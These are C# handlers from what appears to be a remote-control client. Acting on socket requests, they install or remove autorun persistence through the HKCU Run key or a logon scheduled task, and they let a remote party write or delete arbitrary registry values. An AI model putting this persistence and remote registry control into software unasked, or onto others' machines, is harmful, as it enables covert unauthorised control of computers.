public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { RequestAutoRun req = reqObj as RequestAutoRun; ResponseAutoRun resp = new ResponseAutoRun(); try { if (req.AutoRunMode == eAutoRunMode.ByRegistry) { RequestOpeRegistryValueName reqOpeRegistry = new RequestOpeRegistryValueName(); reqOpeRegistry.KeyRoot = eRegistryHive.CurrentUser; reqOpeRegistry.KeyPath = @"Software\Microsoft\Windows\CurrentVersion\Run"; reqOpeRegistry.ValueName = "rc"; if (req.OperationMode == OpeType.New) { reqOpeRegistry.Operation = OpeType.New; reqOpeRegistry.Value = CommonUtil.GetEntryExecutablePath(); } else if (req.OperationMode == OpeType.Delete) { reqOpeRegistry.Operation = OpeType.Delete; } else { return; } RequestOpeRegistryValueNameHandler.OpeRegistry(reqOpeRegistry); } else if (req.AutoRunMode == eAutoRunMode.BySchedualTask) { SchTaskUtil.DeleteSchedule("rc"); if (req.OperationMode == OpeType.New) { SchTaskUtil.CreateScheduleOnLogon("rc", CommonUtil.GetEntryExecutablePath()); } } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_AUTORUN_RESPONSE, resp); }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { RequestOpeRegistryValueName req = reqObj as RequestOpeRegistryValueName; ResponseOpeRegistryValueName resp = new ResponseOpeRegistryValueName(); try { OpeRegistry(req); } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_OPE_REGISTRY_VALUE_NAME_RESPONSE, resp); }
public static void OpeRegistry(RequestOpeRegistryValueName req) { RegistryKey rootKey = RegistryKey.OpenBaseKey( (RegistryHive)req.KeyRoot, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32); RegistryKey subKey = rootKey.OpenSubKey(req.KeyPath, true); bool valueNameExists = subKey.GetValueNames().ToList().Contains(req.ValueName); if (req.Operation == OpeType.Delete) { if (valueNameExists) { subKey.DeleteValue(req.ValueName); } } else if (req.Operation == OpeType.New || req.Operation == OpeType.Edit) { subKey.SetValue(req.ValueName, req.Value, (RegistryValueKind)req.ValueKind); } }